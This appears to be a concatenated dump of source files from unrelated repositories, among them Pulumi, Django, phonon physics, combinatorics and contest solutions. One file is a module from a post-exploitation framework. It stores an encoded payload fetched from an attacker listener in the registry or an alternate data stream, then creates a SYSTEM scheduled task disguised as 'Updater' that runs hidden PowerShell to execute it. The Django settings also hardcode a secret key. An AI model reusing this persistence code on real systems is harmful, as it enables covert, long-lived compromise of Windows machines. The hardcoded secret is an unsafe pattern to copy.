WebhookConversionArgs: def __init__(__self__, *, conversion_review_versions: pulumi.Input[Sequence[pulumi.Input[str]]], client_config: Optional[pulumi.Input['WebhookClientConfigArgs']] = None): """ WebhookConversion describes how to call a conversion webhook :param pulumi.Input[Sequence[pulumi.Input[str]]] conversion_review_versions: conversionReviewVersions is an ordered list of preferred `ConversionReview` versions the Webhook expects. The API server will use the first version in the list which it supports. If none of the versions specified in this list are supported by API server, conversion will fail for the custom resource. If a persisted Webhook configuration specifies allowed versions and does not include any versions known to the API Server, calls to the webhook will fail. :param pulumi.Input['WebhookClientConfigArgs'] client_config: clientConfig is the instructions for how to call the webhook if strategy is `Webhook`. """ pulumi.set(__self__, "conversion_review_versions", conversion_review_versions) if client_config is not None: pulumi.set(__self__, "client_config", client_config) @property @pulumi.getter(name="conversionReviewVersions") def conversion_review_versions(self) -> pulumi.Input[Sequence[pulumi.Input[str]]]: """ conversionReviewVersions is an ordered list of preferred `ConversionReview` versions the Webhook expects. The API server will use the first version in the list which it supports. If none of the versions specified in this list are supported by API server, conversion will fail for the custom resource. If a persisted Webhook configuration specifies allowed versions and does not include any versions known to the API Server, calls to the webhook will fail. """ return pulumi.get(self, "conversion_review_versions") @conversion_review_versions.setter def conversion_review_versions(self, value: pulumi.Input[Sequence[pulumi.Input[str]]]): pulumi.set(self, "conversion_review_versions", value) @property @pulumi.getter(name="clientConfig") def client_config(self) -> Optional[pulumi.Input['WebhookClientConfigArgs']]: """ clientConfig is the instructions for how to call the webhook if strategy is `Webhook`. """ return pulumi.get(self, "client_config") @client_config.setter def client_config(self, value: Optional[pulumi.Input['WebhookClientConfigArgs']]): pulumi.set(self, "client_config", value)
8a5cbbbeac6f891fa3dd895c6197b30790a72054
d7d26c42cd541417edcd7b1992027286ecef7f04
/lib/base/webscraper/class_htmlparser.py
72a005b1e355998005611f8d790a5ebcc019c4c5
[]
no_license
plutoese/pluto_archive
bfba8df48ee5639a2666b33432004519b93ecbf7
e6ea64aaf867fd0433714293eb65a18a28d3136d
refs/heads/master
2021-10-22T14:46:20.540770
2019-03-11T12:31:08
2019-03-11T12:31:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,188
py
# coding=UTF-8 # -------------------------------------------------------------- # class_htmlparser文件 # @class: HtmlParser类 # @introduction: HtmlParser类用来解析html对象 # @dependency: bs4及re包 # @author: plutoese # @date: 2016.06.24 # -------------------------------------------------------------- from bs4 import BeautifulSoup import re class HtmlParser: """HtmlParser类用来解析html对象 :param str htmlcontent: html的字符串 :return: 无返回值 """ def __init__(self,html_content=None): if isinstance(html_content,BeautifulSoup): self.bs_obj = html_content else: self.html_content = html_content self.bs_obj = BeautifulSoup(self.html_content, "lxml") def table(self,css=None): """ 返回表格的数据 :param css: table的css选择器 :return: 表格的列表 """ table = [] if css is not None: tds = self.bs_obj.select(''.join([css,' > tr'])) for item in tds: table.append([re.sub('\s+','',unit.text) for unit in item.select('td')]) return table if __name__ == '__main__': pass
bdb1769291b0eb7eaa1c52f8234aa8806de31199
fc58366ed416de97380df7040453c9990deb7faa
/tools/dockerize/webportal/usr/share/openstack-dashboard/openstack_dashboard/dashboards/admin/zones/images/forms.py
d66f6a73b791797eb062a03977c79ce131fd57e7
[ "Apache-2.0" ]
permissive
foruy/openflow-multiopenstack
eb51e37b2892074234ebdd5b501b24aa1f72fb86
74140b041ac25ed83898ff3998e8dcbed35572bb
refs/heads/master
2016-09-13T08:24:09.713883
2016-05-19T01:16:58
2016-05-19T01:16:58
58,977,485
1
0
null
null
null
null
UTF-8
Python
false
false
433
py
from django.utils.translation import ugettext_lazy as _ from horizon import forms from horizon import exceptions from openstack_dashboard import api class RebuildForm(forms.SelfHandlingForm): def handle(self, request, data): try: api.proxy.image_rebuild(request, self.initial['zone_id']) except Exception: exceptions.handle(request, _('Unable to rebuild images.')) return True
e5cf83464f56094ca25471ffb0ca0ff6556b8a61
281d4e963b898b426e06ca3ccd45fd2dc107bf38
/venv/bin/flask
f3825005348fc2f48ca7d92be1af68a5394c70af
[]
no_license
savigaur2/pokemon-data-analysis
c45835e424dd19e3065e04dc97839d3ffd56e154
428f66820f3c2f3f378ac79391c8217fec1358de
refs/heads/main
2023-01-15T23:01:26.930953
2020-11-22T03:50:38
2020-11-22T03:50:38
313,149,683
0
0
null
null
null
null
UTF-8
Python
false
false
277
#!/Users/apple/Documents/DataScienceProjects/PokemonDataAnalysis/api/venv/bin/python # -*- coding: utf-8 -*- import re import sys from flask.cli import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(main())
0066871fb2d3c40eea27833787de3a9206f8f37a
d489eb7998aa09e17ce8d8aef085a65f799e6a02
/lib/modules/powershell/persistence/elevated/schtasks.py
5874e2f11964b3771e9313b017de312179d76575
[ "MIT" ]
permissive
fengjixuchui/invader
d36078bbef3d740f95930d9896b2d7dd7227474c
68153dafbe25e7bb821c8545952d0cc15ae35a3e
refs/heads/master
2020-07-21T19:45:10.479388
2019-09-26T11:32:38
2019-09-26T11:32:38
206,958,809
2
1
MIT
2019-09-26T11:32:39
2019-09-07T11:32:17
PowerShell
UTF-8
Python
false
false
10,401
py
import os from lib.common import helpers class Module: def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'Invoke-Schtasks', 'Author': ['@mattifestation', '@harmj0y'], 'Description': ('Persist a payload (or script) using schtasks running as SYSTEM. This has a moderate detection/removal rating.'), 'Background' : False, 'OutputExtension' : None, 'NeedsAdmin' : True, 'OpsecSafe' : False, 'Language' : 'powershell', 'MinLanguageVersion' : '2', 'Comments': [ 'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1' ] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { 'Description' : 'Agent to run module on.', 'Required' : True, 'Value' : '' }, 'Listener' : { 'Description' : 'Listener to use.', 'Required' : False, 'Value' : '' }, 'DailyTime' : { 'Description' : 'Daily time to trigger the script (HH:mm).', 'Required' : False, 'Value' : '09:00' }, 'IdleTime' : { 'Description' : 'User idle time (in minutes) to trigger script.', 'Required' : False, 'Value' : '' }, 'OnLogon' : { 'Description' : 'Switch. Trigger script on user logon.', 'Required' : False, 'Value' : '' }, 'TaskName' : { 'Description' : 'Name to use for the schtask.', 'Required' : True, 'Value' : 'Updater' }, 'RegPath' : { 'Description' : 'Registry location to store the script code. Last element is the key name.', 'Required' : False, 'Value' : 'HKLM:\Software\Microsoft\Network\debug' }, 'ADSPath' : { 'Description' : 'Alternate-data-stream location to store the script code.', 'Required' : False, 'Value' : '' }, 'ExtFile' : { 'Description' : 'Use an external file for the payload instead of a payload.', 'Required' : False, 'Value' : '' }, 'Cleanup' : { 'Description' : 'Switch. Cleanup the trigger and any script from specified location.', 'Required' : False, 'Value' : '' }, 'UserAgent' : { 'Description' : 'User-agent string to use for the staging request (default, none, or other).', 'Required' : False, 'Value' : 'default' }, 'Proxy' : { 'Description' : 'Proxy to use for request (default, none, or other).', 'Required' : False, 'Value' : 'default' }, 'ProxyCreds' : { 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', 'Required' : False, 'Value' : 'default' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] # trigger options dailyTime = self.options['DailyTime']['Value'] idleTime = self.options['IdleTime']['Value'] onLogon = self.options['OnLogon']['Value'] taskName = self.options['TaskName']['Value'] # storage options regPath = self.options['RegPath']['Value'] adsPath = self.options['ADSPath']['Value'] # management options extFile = self.options['ExtFile']['Value'] cleanup = self.options['Cleanup']['Value'] # staging options userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] statusMsg = "" locationString = "" # for cleanup, remove any script from the specified storage location # and remove the specified trigger if cleanup.lower() == 'true': if adsPath != '': # remove the ADS storage location if ".txt" not in adsPath: print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt") return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > "+adsPath+"\"};" else: # remove the script stored in the registry at the specified reg path path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] script = "$RegPath = '"+regPath+"';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;" script += "schtasks /Delete /F /TN "+taskName+";" script += "'Schtasks persistence removed.'" if obfuscate: script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) return script if extFile != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(extFile): f = open(extFile, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(fileData) statusMsg += "using external file " + extFile else: print helpers.color("[!] File does not exist: " + extFile) return "" else: # if an external file isn't specified, use a listener if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.payloads.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) encScript = launcher.split(" ")[-1] statusMsg += "using listener " + listenerName if adsPath != '': # store the script in the specified alternate data stream location if ".txt" not in adsPath: print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt") return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo "+encScript+" > "+adsPath+"\"};" locationString = "$(cmd /c \''\''more < "+adsPath+"\''\''\'')" else: # otherwise store the script into the specified registry location path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] statusMsg += " stored in " + regPath script = "$RegPath = '"+regPath+"';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";" # note where the script is stored locationString = "(gp "+path+" "+name+")."+name # built the command that will be triggered by the schtask triggerCmd = "'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\powershell.exe -NonI -W hidden -c \\\"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String("+locationString+")))\\\"'" # sanity check to make sure we haven't exceeded the cmd.exe command length max if len(triggerCmd) > 259: print helpers.color("[!] Warning: trigger command exceeds the maximum of 259 characters.") return "" if onLogon != '': script += "schtasks /Create /F /RU system /SC ONLOGON /TN "+taskName+" /TR "+triggerCmd+";" statusMsg += " with "+taskName+" OnLogon trigger." elif idleTime != '': script += "schtasks /Create /F /RU system /SC ONIDLE /I "+idleTime+" /TN "+taskName+" /TR "+triggerCmd+";" statusMsg += " with "+taskName+" idle trigger on " + idleTime + "." else: # otherwise assume we're doing a daily trigger script += "schtasks /Create /F /RU system /SC DAILY /ST "+dailyTime+" /TN "+taskName+" /TR "+triggerCmd+";" statusMsg += " with "+taskName+" daily trigger at " + dailyTime + "." script += "'Schtasks persistence established "+statusMsg+"'" if obfuscate: script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) return script
b68e3f57c78af07e7e4e65232453565ad87c02a7
a5b66100762c0ca7076de26645ef1b732e0ee2d8
/python_toolbox/combi/__init__.py
40c9544dc3e488bf610098b9b0ef4a3c5a5d5772
[ "MIT", "BSD-3-Clause", "Apache-2.0" ]
permissive
cool-RR/python_toolbox
63400bbc004c63b32fe421b668a64bede4928e90
cb9ef64b48f1d03275484d707dc5079b6701ad0c
refs/heads/master
2022-01-26T14:41:29.194288
2021-12-25T06:49:40
2021-12-25T06:49:40
3,066,283
130
15
NOASSERTION
2021-12-25T06:49:41
2011-12-29T01:39:51
Python
UTF-8
Python
false
false
582
py
# Copyright 2009-2017 Ram Rachum. # This program is distributed under the MIT license. from python_toolbox.math_tools import binomial from python_toolbox.nifty_collections import (Bag, OrderedBag, FrozenBag, FrozenOrderedBag) from .chain_space import ChainSpace from .product_space import ProductSpace from .map_space import MapSpace from .selection_space import SelectionSpace from .perming import (PermSpace, CombSpace, Perm, UnrecurrentedPerm, Comb, UnrecurrentedComb, UnallowedVariationSelectionException)
f845d484fcd45bd00b99b517730a82ce2ee58d0b
0eaf0d3f0e96a839f2ef37b92d4db5eddf4b5e02
/abc229/b.py
5bfe4de8c5054616cf3e4adac546cb626bde495d
[]
no_license
silphire/atcoder
b7b02798a87048757745d99e8564397d1ca20169
f214ef92f13bc5d6b290746d5a94e2faad20d8b0
refs/heads/master
2023-09-03T17:56:30.885166
2023-09-02T14:16:24
2023-09-02T14:16:24
245,110,029
0
0
null
null
null
null
UTF-8
Python
false
false
184
py
a, b = input().rstrip().split() a = list(reversed(a)) b = list(reversed(b)) for aa, bb in zip(a, b): if int(aa) + int(bb) >= 10: print('Hard') exit() print('Easy')
c1d0df4a31f85bb2d72d99fea4a7077f1ee4319e
b05fee086482565ef48785f2a9c57cfe2c169f68
/part_one/8-abs_factory_pattern/after/factories/ford_factory.py
1259f7dc09794969157c2515bc46ac2188cc49c1
[]
no_license
diegogcc/py-design_patterns
76db926878d5baf9aea1f3d2f6a09f4866c3ce1e
2b49b981f2d3514bbd02796fe9a8ec083df6bb38
refs/heads/master
2023-04-01T08:28:53.211024
2021-04-05T11:48:19
2021-04-05T11:48:19
304,145,791
0
0
null
null
null
null
UTF-8
Python
false
false
410
py
from .abs_factory import AbsFactory from autos.ford.fiesta import FordFiesta from autos.ford.mustang import FordMustang from autos.ford.lincoln import LincolnMKS class FordFactory(AbsFactory): @staticmethod def create_economy(): return FordFiesta() @staticmethod def create_sport(): return FordMustang() @staticmethod def create_luxury(): return LincolnMKS()
4c7568977c523b38f203600aec9c4befcad3cb63
910a4c0d08dd01bba099dc9167054000ba3d3cc5
/anharmonic/phonon3/joint_dos.py
068cbab4417aae0e449cc6c2624dcfa424f12fe8
[]
no_license
supersonic594/phonopy
6b8be78c53e1a820397b659844a6357a86b50bc5
619c2bae99f6844eb0b33ea90fca246897844869
refs/heads/master
2021-01-20T07:54:22.308293
2015-11-01T03:44:25
2015-11-01T03:44:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
10,812
py
import sys import numpy as np from phonopy.structure.symmetry import Symmetry from phonopy.units import VaspToTHz from anharmonic.phonon3.triplets import (get_triplets_at_q, get_nosym_triplets_at_q, get_tetrahedra_vertices, get_triplets_integration_weights, occupation) from anharmonic.phonon3.interaction import set_phonon_c from anharmonic.phonon3.imag_self_energy import get_frequency_points from phonopy.harmonic.dynamical_matrix import get_dynamical_matrix from phonopy.structure.tetrahedron_method import TetrahedronMethod class JointDos: def __init__(self, mesh, primitive, supercell, fc2, nac_params=None, nac_q_direction=None, sigma=None, cutoff_frequency=None, frequency_step=None, num_frequency_points=None, temperatures=None, frequency_factor_to_THz=VaspToTHz, frequency_scale_factor=1.0, is_nosym=False, symprec=1e-5, filename=None, log_level=False, lapack_zheev_uplo='L'): self._grid_point = None self._mesh = np.array(mesh, dtype='intc') self._primitive = primitive self._supercell = supercell self._fc2 = fc2 self._nac_params = nac_params self._nac_q_direction = None self.set_nac_q_direction(nac_q_direction) self._sigma = None self.set_sigma(sigma) if cutoff_frequency is None: self._cutoff_frequency = 0 else: self._cutoff_frequency = cutoff_frequency self._frequency_step = frequency_step self._num_frequency_points = num_frequency_points self._temperatures = temperatures self._frequency_factor_to_THz = frequency_factor_to_THz self._frequency_scale_factor = frequency_scale_factor self._is_nosym = is_nosym self._symprec = symprec self._filename = filename self._log_level = log_level self._lapack_zheev_uplo = lapack_zheev_uplo self._num_band = self._primitive.get_number_of_atoms() * 3 self._reciprocal_lattice = np.linalg.inv(self._primitive.get_cell()) self._set_dynamical_matrix() self._symmetry = Symmetry(primitive, symprec) self._tetrahedron_method = None self._phonon_done = None self._frequencies = None self._eigenvectors = None self._joint_dos = None self._frequency_points = None def run(self): try: import anharmonic._phono3py as phono3c self._run_c() except ImportError: print "Joint density of states in python is not implemented." return None, None def get_joint_dos(self): return self._joint_dos def get_frequency_points(self): return self._frequency_points def get_phonons(self): return self._frequencies, self._eigenvectors, self._phonon_done def get_primitive(self): return self._primitive def get_mesh_numbers(self): return self._mesh def set_nac_q_direction(self, nac_q_direction=None): if nac_q_direction is not None: self._nac_q_direction = np.array(nac_q_direction, dtype='double') def set_sigma(self, sigma): if sigma is None: self._sigma = None else: self._sigma = float(sigma) def set_grid_point(self, grid_point): self._grid_point = grid_point self._set_triplets() num_grid = np.prod(len(self._grid_address)) num_band = self._num_band if self._phonon_done is None: self._phonon_done = np.zeros(num_grid, dtype='byte') self._frequencies = np.zeros((num_grid, num_band), dtype='double') self._eigenvectors = np.zeros((num_grid, num_band, num_band), dtype='complex128') self._joint_dos = None self._frequency_points = None self.set_phonon(np.array([grid_point], dtype='intc')) def get_triplets_at_q(self): return self._triplets_at_q, self._weights_at_q def get_grid_address(self): return self._grid_address def get_bz_map(self): return self._bz_map def _run_c(self, lang='C'): if self._sigma is None: if lang == 'C': self._run_c_with_g() else: if self._temperatures is not None: print "JDOS with phonon occupation numbers doesn't work", print "in this option." self._run_py_tetrahedron_method() else: self._run_c_with_g() def _run_c_with_g(self): self.set_phonon(self._triplets_at_q.ravel()) if self._sigma is None: f_max = np.max(self._frequencies) * 2 else: f_max = np.max(self._frequencies) * 2 + self._sigma * 4 f_max *= 1.005 f_min = 0 self._set_uniform_frequency_points(f_min, f_max) num_freq_points = len(self._frequency_points) num_mesh = np.prod(self._mesh) if self._temperatures is None: jdos = np.zeros((num_freq_points, 2), dtype='double') else: num_temps = len(self._temperatures) jdos = np.zeros((num_temps, num_freq_points, 2), dtype='double') occ_phonons = [] for t in self._temperatures: freqs = self._frequencies[self._triplets_at_q[:, 1:]] occ_phonons.append(np.where(freqs > self._cutoff_frequency, occupation(freqs, t), 0)) for i, freq_point in enumerate(self._frequency_points): g = get_triplets_integration_weights( self, np.array([freq_point], dtype='double'), self._sigma, is_collision_matrix=True, neighboring_phonons=(i == 0)) if self._temperatures is None: jdos[i, 1] = np.sum( np.tensordot(g[0, :, 0], self._weights_at_q, axes=(0, 0))) gx = g[2] - g[0] jdos[i, 0] = np.sum( np.tensordot(gx[:, 0], self._weights_at_q, axes=(0, 0))) else: for j, n in enumerate(occ_phonons): for k, l in list(np.ndindex(g.shape[3:])): jdos[j, i, 1] += np.dot( (n[:, 0, k] + n[:, 1, l] + 1) * g[0, :, 0, k, l], self._weights_at_q) jdos[j, i, 0] += np.dot((n[:, 0, k] - n[:, 1, l]) * g[1, :, 0, k, l], self._weights_at_q) self._joint_dos = jdos / num_mesh def _run_py_tetrahedron_method(self): thm = TetrahedronMethod(self._reciprocal_lattice, mesh=self._mesh) self._vertices = get_tetrahedra_vertices( thm.get_tetrahedra(), self._mesh, self._triplets_at_q, self._grid_address, self._bz_map) self.set_phonon(self._vertices.ravel()) f_max = np.max(self._frequencies) * 2 f_max *= 1.005 f_min = 0 self._set_uniform_frequency_points(f_min, f_max) num_freq_points = len(self._frequency_points) jdos = np.zeros((num_freq_points, 2), dtype='double') for vertices, w in zip(self._vertices, self._weights_at_q): for i, j in list(np.ndindex(self._num_band, self._num_band)): f1 = self._frequencies[vertices[0], i] f2 = self._frequencies[vertices[1], j] thm.set_tetrahedra_omegas(f1 + f2) thm.run(self._frequency_points) iw = thm.get_integration_weight() jdos[:, 1] += iw * w thm.set_tetrahedra_omegas(f1 - f2) thm.run(self._frequency_points) iw = thm.get_integration_weight() jdos[:, 0] += iw * w thm.set_tetrahedra_omegas(-f1 + f2) thm.run(self._frequency_points) iw = thm.get_integration_weight() jdos[:, 0] += iw * w self._joint_dos = jdos / np.prod(self._mesh) def _set_dynamical_matrix(self): self._dm = get_dynamical_matrix( self._fc2, self._supercell, self._primitive, nac_params=self._nac_params, frequency_scale_factor=self._frequency_scale_factor, symprec=self._symprec) def _set_triplets(self): if self._is_nosym: if self._log_level: print "Triplets at q without considering symmetry" sys.stdout.flush() (self._triplets_at_q, self._weights_at_q, self._grid_address, self._bz_map, map_triplets, map_q) = get_nosym_triplets_at_q( self._grid_point, self._mesh, self._reciprocal_lattice, with_bz_map=True) else: (self._triplets_at_q, self._weights_at_q, self._grid_address, self._bz_map, map_triplets, map_q) = get_triplets_at_q( self._grid_point, self._mesh, self._symmetry.get_pointgroup_operations(), self._reciprocal_lattice) def set_phonon(self, grid_points): set_phonon_c(self._dm, self._frequencies, self._eigenvectors, self._phonon_done, grid_points, self._grid_address, self._mesh, self._frequency_factor_to_THz, self._nac_q_direction, self._lapack_zheev_uplo) def set_frequency_points(self, frequency_points): self._frequency_points = np.array(frequency_points, dtype='double') def _set_uniform_frequency_points(self, f_min, f_max): if self._frequency_points is None: self._frequency_points = get_frequency_points( f_min, f_max, frequency_step=self._frequency_step, num_frequency_points=self._num_frequency_points)
13eda0de95f9467954a2064cc95a5abdd0b0ec64
9e831c0defd126445772cfcee38b57bfd8c893ca
/code/questions/221~230_/224.py
d90b7f67cdd7fc5614ac658666790161c4a04e2c
[]
no_license
m358807551/Leetcode
66a61abef5dde72250d032b7ea06feb3f2931d54
be3f037f6e2057a8f2acf9e820bbbbc21d7aa1d2
refs/heads/main
2023-04-22T15:13:43.771145
2021-05-07T06:47:13
2021-05-07T06:47:13
321,204,181
4
1
null
null
null
null
UTF-8
Python
false
false
1,174
py
""" https://leetcode-cn.com/problems/basic-calculator """ import re class Solution(object): def calculate(self, s): """ :type s: str :rtype: int """ s = re.sub('[^0-9]', lambda x: '!{}!'.format(x.group()), s) s = [x for x in s.split('!') if x.strip()] queue, stack = [], [] for x in s: if x == '(': stack.append(x) elif x in '+-': while stack and stack[-1] in '+-': queue.append(stack.pop(-1)) stack.append(x) elif x == ')': while stack[-1] != '(': queue.append(stack.pop(-1)) stack.pop(-1) else: queue.append(int(x)) while stack: queue.append(stack.pop(-1)) stack = [] for x in queue: if x == '+': stack.append(stack.pop(-2) + stack.pop(-1)) elif x == '-': stack.append(stack.pop(-2) - stack.pop(-1)) else: stack.append(x) return stack[0] print( Solution().calculate( '(71)-(0)+(14)' ) )
494853650bc48daabecbdd20ffd1824486452123
743d1918178e08d4557abed3a375c583130a0e06
/src/ToCPSC/getDailyCount.py
dc5994f9a0237db0f7b31ecd26d5406d7d555d78
[]
no_license
aquablue1/dns_probe
2a027c04e0928ec818a82c5bf04f485a883cfcb3
edd4dff9bea04092ac76c17c6e77fab63f9f188f
refs/heads/master
2020-03-25T19:40:07.346354
2018-11-17T05:31:43
2018-11-17T05:31:43
144,094,014
0
0
null
null
null
null
UTF-8
Python
false
false
1,405
py
""" " Get the daily count of src of DNS sessions that sent to cpsc ns. " By Zhengping on 2018-08-14 """ from src.GeneralAnalysis.DailySrcCount import dailySrcCount from src.GeneralAnalysis.DailyDstCount import dailyDstCount from src.GeneralAnalysis.DailyQueryCount import dailyNameCount from src.GeneralAnalysis.DailyTypeCount import dailyTypeCount from src.GeneralAnalysis.DailySrcPortCount import dailySrcPortCount def getDailySrcCount(date, foldername): cpscSrcCounter = dailySrcCount(date, foldername) cpscSrcCounter.getDailySrcCount() def getDailyDstCount(date, foldername): cpscDstCounter = dailyDstCount(date, foldername) cpscDstCounter.getDailyDstCount() def getDailyNameCount(date, foldername): cpscNameCounter = dailyNameCount(date, foldername) cpscNameCounter.getDailyNameCount() def getDailyTypeCount(date, foldername): cpscTypeCounter = dailyTypeCount(date, foldername) cpscTypeCounter.getDailyTypeCount() def getDailySrcPortCount(date, foldername): cpscSrcPortCounter = dailySrcPortCount(date, foldername) cpscSrcPortCounter.getDailySrcPortCount() if __name__ == '__main__': date = "2018-09-19" foldername = "../../result/ToCPSC/" getDailySrcCount(date, foldername) getDailyDstCount(date, foldername) getDailyNameCount(date, foldername) getDailyTypeCount(date, foldername) getDailySrcPortCount(date, foldername)
12dad381805512acbfb45f4df790488bcc3335bf
0869d7edac80e8aebe951682a2cc311a083eade3
/Python/tdw/object_data/composite_object/composite_object_dynamic.py
e9057a039e69ee0a014cfdd06af0f7a5dfabbdb8
[ "BSD-2-Clause" ]
permissive
threedworld-mit/tdw
7d5b4453832647733ff91ad7a7ce7ec2320454c1
9df96fba455b327bb360d8dd5886d8754046c690
refs/heads/master
2023-09-01T11:45:28.132298
2023-08-31T16:13:30
2023-08-31T16:13:30
245,492,977
427
75
BSD-2-Clause
2023-09-14T17:36:12
2020-03-06T18:42:09
Python
UTF-8
Python
false
false
1,537
py
from typing import Dict from tdw.object_data.composite_object.sub_object.light_dynamic import LightDynamic from tdw.object_data.composite_object.sub_object.hinge_dynamic import HingeDynamic class CompositeObjectDynamic: """ Dynamic data for a composite object and its sub-objects. Note that not all sub-objects will be in this output data because some of them don't have specialized dynamic properties. For example, non-machines have dynamic positions, velocities, etc. but these can be found in `Transforms` and `Rigidbodies` data, respectively. """ def __init__(self, object_id: int, hinges: Dict[int, HingeDynamic], lights: Dict[int, LightDynamic]): """ :param object_id: The ID of the root object. :param hinges: A dictionary of [`HingeDynamic`](sub_object/hinge_dynamic.md) sub-objects, which includes all hinges, springs, and motors. :param lights: A dictionary of [`LightDynamic`](sub_object/light_dynamic.md) sub-objects such as lamp lightbulbs. """ """:field The ID of the root object. """ self.object_id = object_id """:field A dictionary of [`HingeDynamic`](sub_object/hinge_dynamic.md) sub-objects, which includes all hinges, springs, and motors. """ self.hinges: Dict[int, HingeDynamic] = hinges """:field A dictionary of [`LightDynamic`](sub_object/light_dynamic.md) sub-objects such as lamp lightbulbs. """ self.lights: Dict[int, LightDynamic] = lights
9d2e2e509a635d8d7698a89d4e4b939dbc77cb36
7591c267059486c943d68e713bd3ff338900d2c5
/settings.py
5a2d36ae53de4e39a3fb123b6c4885d77b2de18b
[]
no_license
westinedu/quanenta
00fe419da1e34ddd9001ffeb9848639d5c58d265
a59c75458b6eff186637ab8e0e36b6f68a1a99c9
refs/heads/master
2021-01-10T20:35:25.196907
2012-06-07T06:01:33
2012-06-07T06:01:33
null
0
0
null
null
null
null
UTF-8
Python
false
false
846
py
try: from djangoappengine.settings_base import * has_djangoappengine = True except ImportError: has_djangoappengine = False DEBUG = True TEMPLATE_DEBUG = DEBUG import os SECRET_KEY = '=r-$b*8hglm+858&9t043hlm6-&6-3d3vfc4((7yd0dbrakhvi' INSTALLED_APPS = ( 'djangotoolbox', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.admin', 'core', ) if has_djangoappengine: INSTALLED_APPS = ('djangoappengine',) + INSTALLED_APPS TEST_RUNNER = 'djangotoolbox.test.CapturingTestSuiteRunner' ADMIN_MEDIA_PREFIX = '/media/admin/' MEDIA_ROOT = os.path.join(os.path.dirname(__file__), 'media') TEMPLATE_DIRS = (os.path.join(os.path.dirname(__file__), 'templates'),) LOGIN_URL = '/login/' LOGOUT_URL = '/logout/' LOGIN_REDIRECT_URL = '/' ROOT_URLCONF = 'urls'